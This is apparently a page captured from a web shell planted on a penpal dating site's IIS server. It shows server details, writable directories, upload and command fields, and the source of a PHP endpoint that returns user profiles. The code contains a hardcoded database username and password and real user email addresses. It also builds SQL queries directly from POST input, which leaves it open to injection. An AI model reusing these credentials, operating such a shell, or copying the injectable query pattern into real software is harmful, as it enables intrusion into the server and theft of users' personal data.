403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpal/penpalfollowers.php
<?php

include "general.php";
include "connect.php";


if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    header('Access-Control-Allow-Origin : *');
    header('Access-Control-Allow-Methods : POST, GET, OPTIONS, PUT, DELETE');
    header('Access-Control-Allow-Headers : *');
    exit;
}


//****************** Function starts



function getUserJSON( $email_friend,$domain)
{
 $query= "select name,country,email,gender,phonenumber,location,profileMessage,birthDate,photo_url1,photo_url2,photo_url3,photo_url4,photo_url5,photo_url6,userType,lastSeen,usertoken,photoUpload,userStatus,wallet_backup,gift_out from penpal where email ='$email_friend' and domain ='$domain' and photoUpload='true' and deleteaccount='0'";
 //echo $query;
 $cnt ="#";

       $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
       ///Check connection
 if (mysqli_connect_errno())
 {
         // //echo mysqli_error($con);
         //echo "-1";
         return '#';
         die();
 }
 if(!$result= mysqli_query($con,$query))
 {
       mysqli_close($con);
     return "#";
 }
 else
 {
    $photo_number=0;
    $items= [];
   while($row = mysqli_fetch_array($result))
   {
     	if($row[8]  !=""){
        	$photo_number++;
        }

        if($row[9]  !=""){
        	$photo_number++;
        }

 	if($row[10]  !=""){
        	$photo_number++;
        }

 	if($row[11]  !=""){
        	$photo_number++;
        }

 	if($row[12]  !=""){
        	$photo_number++;
        }

 	if($row[13]  !=""){
        	$photo_number++;
        }
       
//computer fans:
$query= "select count(*) as response from penpalfriends as a, penpal as b where (email_u='$email_friend' and (b.email =email_f)  and b.domain='$domain' and a.domain='$domain' and a.deleteaccount='0' and a.unmatch='0' and photoupload ='true') or (email_f='$email_friend' and (b.email =email_u)  and b.domain='$domain' and a.domain='$domain' and b.deleteaccount='0' and a.unmatch='0' and photoupload ='true')";
$response1 = getQuery1($query);
$fans =$response1;



$query= "select count(*) as tot from penpalfollowers where email_f='$email_friend' and deleteaccount ='0'";
$response1 = getQuery1($query);


$fans= $fans+$response1;


//computer following
$query= "select count(*) as tot from penpalfollowers where email_u='$email_friend' and deleteaccount ='0'";
$response1 = getQuery1($query);
$following =$response1;

	
        $items[] = [
       'name' => $row[0],
	'country' => $row[1],	
	'email' =>  $row[2],	
	'gender' => $row[3],
	'phonenumber' => $row[4],
	'location' =>  $row[5],
	'profileMessage' => $row[6],
	'birthDate' => $row[7],
        'photo_url1' =>  $row[8],
        'photo_url2' =>  $row[9],
        'photo_url3' =>  $row[10],
	'photo_url4' =>  $row[11],
	'photo_url5' =>  $row[12],
	'photo_url6' =>  $row[13],
	'photo_number' => $photo_number,
         'userType' => $row[14],
        'lastSeen' =>  $row[15],
        'usertoken' =>$row[16],
        'photoUpload' =>$row[17],
	'userStatus' =>$row[18],
  'wallet_backup' =>$row[19],
  'gift_out' => $row[20],
  'fans' => $fans,
  'following' => $following
    ];

	

   }
   echo json_encode($items);

   mysqli_close($con);
   return $cnt;
 }
}//getUserJSON





function getPenpalFriends($email,$domain){
//check if the user is following anyone yet 

$query = "select email_u from penpalfollowers where  email_f='$email'  and deleteaccount='0' and domain='$domain' limit 1";
//echo $query;

//die();
$response = getQuery1($query);


  
//echo $response;

if ($response =="#"){
    //no record for this user
  return $response; 
   exit();

}


if ($email !=""){
    $lastSearchID = "";
    //get user's last search 

    $query ="select lastsearchID from  penpalFollowingssearch where email = '$email'  and domain ='$domain'";

    $resSearch = getQuery1($query);
    if ($resSearch =="#"){       
              $lastSearchID = "1";
              $query ="select sn from penpalfollowers where  domain ='$domain'  order by sn desc limit 1";
              $totalRecord = getQuery1($query);

    }else{
       //get the total records
       $query ="select sn from penpalfollowers where domain ='$domain'  order by sn desc limit 1";
       $totalRecord = getQuery1($query);

        if (($resSearch+1) < $totalRecord){
            $lastSearchID = $resSearch+1;
        }else{
            $lastSearchID =  $totalRecord;
        }

    }

   // echo $lastSearchID."\n";
   // echo $totalRecord."\n";

//die();
 
if($lastSearchID>$totalRecord){
   $lastSearchID =1;
}
  
while( $lastSearchID <=  $totalRecord) {
      
      $query = "select sn, email_u from penpalfollowers where email_f  = '$email' and sn >= $lastSearchID and domain ='$domain'  and deleteaccount='0' order by sn  limit 1";
      $response = getQuery2($query);
      //echo $query;
      //die();
      
      if($response !="#"){

        // a record is found
          $splitResponse = explode(",", $response);
          $nextSN = $splitResponse[0];
          $frdEmail = $splitResponse[1];

          //check if  user information on the search table

          $query=  "select lastsearchID from penpalFollowingssearch where email = '$email' and domain ='$domain'";
          $resSearch = getQuery1($query);

          //echo $query."\n";
         // echo $resSearch;
         // die();
            
        if($nextSN==$totalRecord){
            $nextSN =1;
           }

        
          if ($resSearch=="#"){
                   $query ="Insert into penpalFollowingssearch( email,lastsearchID,domain) values ('$email','$nextSN','$domain')";   
          }else{
                            $query = "update penpalFollowingssearch set lastsearchID ='$nextSN' where email = '$email'  and domain ='$domain'";
            }               
        
        
           $updateResponse = updateQuery($query);
        return $frdEmail; 
                   
        exit();
      
         
      
      }else{
          //echo "Noosajsjsj";
          $lastSearchID =  1;
      }
        
      if($lastSearchID==$totalRecord){
        $lastSearchID =1;
       }

    } ;//end of while
    
    

}// end of if

//echo "#";

}
//********************** Function ends

date_default_timezone_set('Africa/Lagos'); 

//$response = array();

//$gender =$_POST["genderSearch"];
$email=$_POST["email"];
$domain =$_POST["domain"];

//$email = "nosa.osahon@penpalamerica.com";
//$email ="irene@penpalamerica.com";
//$domain ="penpalamerica.com";


//penpalActiveUsers($email,$domain);
$friendemail=getPenpalFriends($email,$domain);
//echo "outside" . $friendemail;
//$friendemail ="nosa.osahon@penpalamerica.com";
if($friendemail=="#"){
    echo "#";
}else{
getUserJSON ($friendemail,$domain);
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit